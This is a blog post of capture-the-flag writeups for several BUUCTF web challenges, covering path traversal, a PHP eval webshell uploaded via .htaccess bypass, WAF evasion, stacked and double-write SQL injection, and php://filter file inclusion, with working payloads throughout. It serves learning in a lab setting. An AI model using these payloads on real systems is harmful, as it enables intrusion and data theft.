

BUUCTF web部分writeup

原创

西部壮仔 于 2020-04-03 22:08:31 发布 1262 收藏 7

分类专栏: [ctf writeup](#) 文章标签: [php](#) [信息安全](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_45089570/article/details/105301832

版权



[ctf writeup](#) 专栏收录该内容

12 篇文章 0 订阅

订阅专栏

持续更新

[HCTF 2018]WarmUp

F12观察到提示source.php

源代码为

```
<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mbstrpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mbstrpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

$whitelist = ["source"=>"source.php", "hint"=>"hint.php"]; //这一段代码提示我们hint.php
```

flag not here, and flag in ffffflllaaaagggg

https://blog.csdn.net/qq_45089570

提示我们flag在fffflllaaaagggg里面

首先分析这段代码

```
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
    && is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
    && emmm::checkFile($_REQUEST['file'])) //能够通过checkFile函数校验
) {
    include $_REQUEST['file']; //包含$_REQUEST['file']文件
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    //打印滑稽表情
}
```

一个if语句要求传入的file变量：

非空
类型为字符串
能够通过checkFile()函数校验

同时满足以上三个要求即可包含file中的文件，否则打印滑稽表情

回到上面checkFile()函数

```

highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
    public static function checkFile(&$page)//将传入的参数赋给$page
    {
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];//声明$whitelist (白名单) 数组
        if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
            echo "you can't see it";//打印"you can't see it"
            return false;//返回false
        }

        if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
            return true;//返回true
        }

        $_page = mb_substr("//该代码表示截取$page中'?'前部分, 若无则截取整个$page
            $page,
            0,
            mbstrpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);//url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mbstrpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

```

可以看到函数代码中有四个if语句

第一个if语句对变量进行检验，要求\$page为字符串，否则返回false

第二个if语句判断\$page是否存在于\$whitelist数组中，存在则返回true

第三个if语句判断截取后的\$page是否存在于\$whitelist数组中，截取\$page中'?'前部分，存在则返回true

第四个if语句判断url解码并截取后的\$page是否存在于\$whitelist中，存在则返回true

若以上四个if语句均未返回值，则返回false

有三个if语句可以返回true，第二个语句直接判断\$page，不可用

第三个语句截取'?前部分，由于?被后部分被解析为get方式提交的参数，也不可利用

第四个if语句中，先进行url解码再截取，因此我们可以将?经过两次url编码，在服务器端提取参数时解码一次，checkFile函数中解码一次，仍会解码为'?'，仍可通过第四个if语句校验。（'?'两次编码值为'%253f'），构造url：

http://***/source.php?file=source.php%253f.../ffffllllaaaagggg

无返回值，由于我们不知道ffffllllaaaagggg文件的具体位置，只能依次增加.../，最终在

http://***/source.php?file=source.php%253f.../.../.../ffffllllaaaagggg中成功回显flag

该漏洞cve编号为**CVE-2018-12613**

转自：<https://www.jianshu.com/p/36eaa95068ca>

[MRCTF2020]你传你□呢



https://blog.csdn.net/qq_45089570

很显然这是一道文件上传题,我们直接上传一个webshell.php

我扌 your problem?

https://blog.csdn.net/qq_45089570

好像不行过滤了,我们抓一下包。猜测是验证文件的后缀,我们把文件后缀名php改成jpg

```
Connection: close
Referer: http://9a8db1fc-31f8-4202-95ef-25a7f89c02c7.node3.buuoj.cn/
Cookie: PHPSESSID=dc4dff8a46ea9974755e512acd7a5188
Upgrade-Insecure-Requests: 1

-----412946896216298242051890230359
Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg"
Content-Type: application/octet-stream

<?php
@eval($_POST['shell']);
echo "111";
-----412946896216298242051890230359
```

```
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.6.23
```

<meta charset="utf-8">我扌 your problem?

https://blog.csdn.net/qq_45089570

emmmm,发现还是不行,修改一下Content-Type,修改成image/jpeg

```

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----412946896216298242051890230359
Content-Length: 395
Origin: http://9a8db1fc-31f8-4202-95ef-25a7f89c02c7.node3.buuoj.cn
Connection: close
Referer: http://9a8db1fc-31f8-4202-95ef-25a7f89c02c7.node3.buuoj.cn/
Cookie: PHPSESSID=dc4dff8a46ea9974755e512acd7a5188
Upgrade-Insecure-Requests: 1
-----412946896216298242051890230359
Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg"
Content-Type: image/jpeg

```

```

Server: openresty
Date: Fri, 03 Apr 2020 13:51:50 GMT
Content-Type: text/html
Content-Length: 112
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.23

```

```

<meta charset="utf-8">/var/www/html/upload/049017f7bf86dc9dba77002da0a05d79/webshell.jpg successfully
uploaded!

```

https://blog.csdn.net/qg_45089570

后缀名再修改为php发现不能上传，猜测应该是验证了Content-type和文件的后缀名,我们爆破一下看看过滤了哪些后缀

Attack Save Columns						
Results	Target	Positions	Payloads	Options		
Filter: Showing all items						
Request	Payload	Status	Error	Timeout	Length	Comment
24	.user.ini	200	<input type="checkbox"/>	<input type="checkbox"/>	551	
5	.htaccess	200	<input type="checkbox"/>	<input type="checkbox"/>	549	
25	.abcdefg	200	<input type="checkbox"/>	<input type="checkbox"/>	548	
20	.jpg	200	<input type="checkbox"/>	<input type="checkbox"/>	544	
21	.png	200	<input type="checkbox"/>	<input type="checkbox"/>	544	
22	.gif	200	<input type="checkbox"/>	<input type="checkbox"/>	544	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	542	
1	.php	200	<input type="checkbox"/>	<input type="checkbox"/>	345	
2	.PhP	200	<input type="checkbox"/>	<input type="checkbox"/>	345	
3	.ppphhp	200	<input type="checkbox"/>	<input type="checkbox"/>	345	
4	.ppphhpP	200	<input type="checkbox"/>	<input type="checkbox"/>	345	
6	.php2	200	<input type="checkbox"/>	<input type="checkbox"/>	345	
7	.l_o	200	<input type="checkbox"/>	<input type="checkbox"/>	345	

发现这些文件的后缀是可以上传的，我们就可以上传.htaccess，关于.htaccess的作用这里不再详述。不清楚的自行百度.htaccess的内容：

```

<FilesMatch "jpg|png|gif|JPG">
    SetHandler application/x-httpd-php
</FilesMatch>

```

上传后，我们再上传jpg格式的木马，服务器就可以将.jpg格式的文件解析为.php也就绕过了检测,连接菜刀

名称	时间	大小	属性
webshell%2epng	2020-04-03 22:55:41	43	0644
.htaccess	2020-04-03 23:02:11	92	0644
webshell%2ehtaccess	2020-04-03 22:55:41	43	0644
webshell.jpg	2020-04-03 23:02:41	43	0644
webshell%2egif	2020-04-03 22:55:41	43	0644
webshell%2euser%2eini	2020-04-03 22:55:41	43	0644
webshell%2ejpg	2020-04-03 22:55:41	43	0644
webshell%2ababcdefg	2020-04-03 22:55:41	43	0644

在根目录找到flag文件

upload.php的内容

```
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp = $_FILES['uploaded']['tmp_name'];

    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("我才知道你的问题？");
    }
    else{
        if ((($_FILES["uploaded"]的文化" == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")
) || ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048){
            $content = file_get_contents($uploaded_tmp);
            mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
            move_uploaded_file($uploaded_tmp, $t_path);
            echo "{$t_path} successfully uploaded!";
        }
        else{
            die("我才知道你的问题？");
        }
    }
}
?>
```

[RoarCTF 2019]Easy Calc

看了一下源码发现如下提示：

```
url:"calc.php?num="+encodeURIComponent($("#content").val())
```

\$("#content").val() 是什么意思：

获取id为content的HTML标签元素的值,是JQuery, "#content"相当于 `document.getElementById("content");`

("#content").val()相当于 `document.getElementById("content").value;`

calc.php:

```
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = [ ' ', '\t', '\r', '\n', '\'', '\"', '\'', '\[', '\]', '\$', '\\', '^' ];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $str)) {
            die("what are you want to do?");
        }
    }
    eval('echo '.$str.';');
}
?>
```

但是无论怎么注入都是400,403和500，这里用的是一个新的点：PHP的字符串解析特性

步骤：

1.扫一下根目录，发现flag文件：

```
? num=1;var_dump(scandir(chr(47)))
```

```
3  string(1) "."
4  [1]=>
5  string(2) ".."
6  [2]=>
7  string(10) ".dockerenv"
8  [3]=>
9  string(3) "bin"
10 [4]=>
11 string(4) "boot"
12 [5]=>
13 string(3) "dev"
14 [6]=>
15 string(3) "etc"
16 [7]=>
17 string(5) "flagg" ←
18 [8]=>
19 string(4) "home"
20 [9]=>
21 string(3) "lib"
22 [10]=>
23 string(5) "lib64"
24 [11]=>
25 string(5) "media"
26 [12]=>
27 string(3) "mnt"
28 [13]=>
29 string(3) "opt"
```

https://blog.csdn.net/qq_45089570

发现了flag文件

2.列出flagg：

```
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
```

解析：

为什么要在num前加一个空格？

答：假如waf不允许num变量传递字母，可以在num前加个空格，这样waf就找不到num这个变量了，因为现在的变量叫“ num”，而不是“num”。但php在解析的时候，会先把空格给去掉，这样我们的代码还能正常运行，还上传了非法字符。

发现过滤怎么办？

答：用char()转ascii再进行拼接

```
FOI easy_calc.php
1 <?php
2 print(chr(102));
3 print(chr(49));
4 print(chr(97));|
5 print(chr(103));
6 print(chr(103));
7 ?>

f1agg[Finished in 0.1s]
https://blog.csdn.net/qq_45089570
```

PHP的字符串解析特性是什么？

答：PHP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：1.删除空白符 2.将某些字符转换为下划线（包括空格）【当waf不让你过的时候，php却可以让你过】

[SUCTF 2019]EasySQL

Give me your flag, I will tell you if the flag is right.

 提交查询

https://blog.csdn.net/qq_45089570

可以用堆叠注入：

```
1;show databases;
1;show tables;
```

Give me your flag, I will tell you if the flag is right.

Array ([0] => 1) Array ([0] => ctf) Array ([0] => ctctraining) Array ([0] => information_schema) Array ([0] => mysql) Array ([0] => performance_schema) Array ([0] => test)

https://blog.csdn.net/qq_45089570

Give me your flag, I will tell you if the flag is right.

Array ([0] => 1) Array ([0] => Flag)

https://blog.csdn.net/qq_45089570

发现有一个Flag表

然后尝试读取表Flag,

发现union, prepare, handler等都过滤了,看了wp才知道有源码泄露。。。

```
select $_GET['query'] || flag from flag
```

有两种解

1.

payload: *,1

查询语句: select *,1||flag from Flag

2.

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

解析:

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。

但在mysql 缺省不支持。需要调整mysql 的sql_mode

模式: pipes_as_concat 来实现oracle 的一些功能。

此题参考文章:

https://blog.csdn.net/qq_44657899/article/details/104533077

[强网杯 2019]高明的黑客



雁过留声，人过留名，此网站已被黑

我也是很佩服你们公司的开发，特地备份了网站源码到www.tar.gz以供大家观赏

https://blog.csdn.net/qq_45089570

这一题一开始我没有理解"www.tar.gz"的涵义，还以为有一个其他的网站叫这个，后来才突然顿悟他有可能是一个目录！！！地址栏输入"/www.tar.gz"然后就可以得到源码

<http://5cd2d816-4f15-49fe-988a-0d360c11a5e5.node3.buuoj.cn/www.tar.gz>

解压下来发现大量的PHP文件，但是不知道那些是可以被利用的，搜出来的结果又很多，查了一下WP才知道这道题考的是fuzzing，找了一篇爆破脚本但是菜鸡不是很理解，于是在这里记录一下：

```
import requests
import os
import re
url = 'http://localhost/BUUCTF/src/'
ptn = re.compile(br"\$_GET\[ '(\w+)' \]")
ptn1 = re.compile(br'>>> (\w+) !!!')
i = 0
for f in list(os.scandir('E:\phpstudy\PHPTutorial\WWW\BUUCTF\src'))[::-1]:
    i += 1
    print(i, end='\r')
    with open(f.path, 'rb') as fp:
        data = fp.read()
    for get in set(ptn.findall(data)):
        get = get.decode('ascii')
        cmd = 'echo ">>> %s !!!;" % get'
        r = requests.get(url + f.name, params={get: cmd})
        if ptn1.search(r.content) is not None:
            print()
            print(f.name, get)
            exit()
```

参考文章：

<https://www.cnblogs.com/chrysanthemum/p/11717337.html>

[极客大挑战 2019]Secret File

IT SQL BASICS UNION BASED ERROR/DIDOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL http://f9c7472d-6936-4b55-8c67-45fca5119015.node3.buuoj.cn

Split URL Execute

Post data Referrer OxHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

你想知道蒋璐源的秘密么?

想要的话可以给你，去找吧！把一切都放在那里了！

https://blog.csdn.net/qq_45089570

做题的一般思路就是扫描一下路径啊，查看源代码啊，用扫描工具没有扫描出什么，查看源代码发现

```
bottom:0;
text-align:center;
}
p,h1 {
    cursor: default;
}
:style>

<head>
    <meta charset="utf-8">
    <title>蒋璐源的秘密</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:arial; color:red;text-align:center;">你想知道蒋璐源的秘密么？</h1><br><br><br>
<p style="font-family:arial; color:red;font-size:20px;text-align:center;">想要的话可以给你，去找吧！把一切都放在那里了！</p>
<a id="master" href=".Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0; width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ c14y</p></div>
</body>
.4m1\>
```

https://blog.csdn.net/qq_45089570

点进去再查看源代码发现

```
}

:style>

<head>
    <meta charset="utf-8">
    <title>绝密档案</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana; color:red;text-align:center;">
我把他们都放在这里了，去看看吧 <br>
</h1><br><br><br><br><br><br>
<a id="master" href=".action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;">
    <font size=6>SECRET</font>
</a>
<div style="position: absolute;bottom: 0; width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syc
https://blog.csdn.net/qq_45089570
```

有个action.php,我们再点进去

```

<html>
<style>
p, h1 {
    cursor: default;
}
</style>

<head>
    <meta charset="utf-8">
    <title>END</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

    <h1 style="font-family:verdana;color:red;text-align:center;">查阅结束</h1><br><br><br><br>

    <p style="font-family:arial;color:red;font-size:20px;text-align:center;">没看清么？回去再仔细看看吧。</p>
    <div style="position: absolute;bottom: 0;width: 99%;><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>

</html>

```

https://blog.csdn.net/qq_45089570

这次什么也没有了，但我们细心就会发现我们跳进来的不是action.php而是end.php应该是重定向了。。在跳转的过程中我们抓一下包，看看里面有猫腻没。

Request

Raw Headers Hex

GET /action.php HTTP/1.1
Host: f9c7472d-6936-4b55-8c67-45fcfa5119015.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

Response

Raw Headers Hex HTML Render

HTTP/1.1 302 Found
Server: openresty
Date: Sun, 05 Apr 2020 10:47:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 63
Connection: close
Location: end.php
X-Powered-By: PHP/7.3.11

<!DOCTYPE html>
<html>
<!--
 secr3t.php
-->
</html>

https://blog.csdn.net/qq_45089570

发现了 secr3t.php 看到这里感觉我们已经离flag不远了，访问一下 secr3t.php

```

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"..")||strstr($file, "tp")||strstr($file,"input")||strstr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
</html>

```

需要GET传参,过滤了一些字符, `../`, tp应该指的是 `http` 和 `https`, `php://input` 还有 `data协议`, 但是我们发现没有过滤 `filter伪协议`

payload:

<http://f9c7472d-6936-4b55-8c67-45fca5119015.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php>

The screenshot shows a browser-based exploit tool interface. At the top, there's a navigation bar with tabs like INT, SQL BASICS, UNION BASED, etc., and a search bar containing the URL: <http://f9c7472d-6936-4b55-8c67-45fca5119015.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php>. Below the URL is a code editor with PHP and HTML code. The code includes a check for file inclusion and a comment indicating the flag is in flag.php. The bottom right of the editor shows a link: https://blog.csdn.net/qq_45089570.

将得到的base64解码一下：

The screenshot shows a web-based base64 decoder tool. It has tabs for 加密/解密, 散列/哈希, BASE64, and 图片/BASE64转换. The BASE64 tab is selected. On the left, there's a text area labeled '明文:' containing the base64-encoded PHP code from the previous screenshot. On the right, there's a text area labeled 'BASE64:' containing the decoded PHP code. A red arrow points from the encoded code on the left to the decoded code on the right. The bottom right of the tool shows a link: https://blog.csdn.net/qq_45089570.

[极客大挑战 2019]BabySQL

st data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

用户名:
密码:
登录
Syclover @ cl4y
https://blog.csdn.net/qq_45089570

这是一道sql注入的题，我们尝试用万能密码登陆
payload:

<http://e4321b05-c0d6-4c77-afbb-40ce25c49b0e.node3.buuoj.cn/check.php?username=admin&password=password' or 1=1%23>

id URL Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1#' at line 1
https://blog.csdn.net/qq_45089570

发现报错了，我们发现报错的原因是 `1=1#` 的地方，我们猜测可能是过滤了or，我们尝试双写绕过发现成功登陆

id URL Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All



那么这道题还过滤了哪些字符呢，一个一个尝试，这种方法显然效率不高，我们用brupsuit爆破一下，爆破的思路是在 `oorr` 和 `1=1%23` 之间加入一个字符就变成 `oorrselect 1=1 %23` 如果过滤了select就可以正常登陆否则就会报错

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are applied to payload positions - see help for full details.

Attack type: Sniper

```
GET /check.php?username=admin&password=password%27oorr§1§%201=1%23 HTTP/1.1
Host: e4321b05-c0d6-4c77-afbb-40ce25c49b0e.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
```

https://blog.csdn.net/qq_45089570

Intruder attack 3

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
1	union	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
2	and	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
3	where	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
4	or	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
6	from	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
7	sleep	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
9	%20	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
11	select	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
12	*	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
15	'	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
24	<>	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
30	if	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
35	ascii	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
36	substr	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
37	mid	200	<input type="checkbox"/>	<input type="checkbox"/>	1002	
	...					

51		200			1002
44	extractvalue	200			989
45	name_const	200			987
48	linestring	200			987
8	benchmark	200			986
33	information	200			986
43	updatexml	200			986

https://blog.csdn.net/qq_45089570

发现过滤的字符就是这些，我们在注入的时候将这些双写就可以了
爆出数据库

```
check.php?username=admin&password=admin1%27uniunionon selselectct 1,2,group_concat(schema_name) frfromom infoor
mation_schema.schemata%20%23
```

爆表

```
check.php?username=admin&password=admin1%27uniunionon selselectct 1,2,group_concat(table_name) frfromom infoorr
mation_schema.tables whwheree table_schema=database()%23
```

查列:

```
check.php?username=admin&password=admin1%27uniunionon selselectct 1,2,group_concat(column_name) frfromom infoor
mation_schema.columns whwheree table_schema=database() anandd table_name='b4bsql'%23
```

查询字段名

```
check.php?username=admin&password=admin1%27uniunionon selselectct 1,2,group_concat(passwoorr) frfromom b4bsql%
23
```

得到flag

此题参考文章：

<https://www.cnblogs.com/wangtanzhi/p/12243874.html>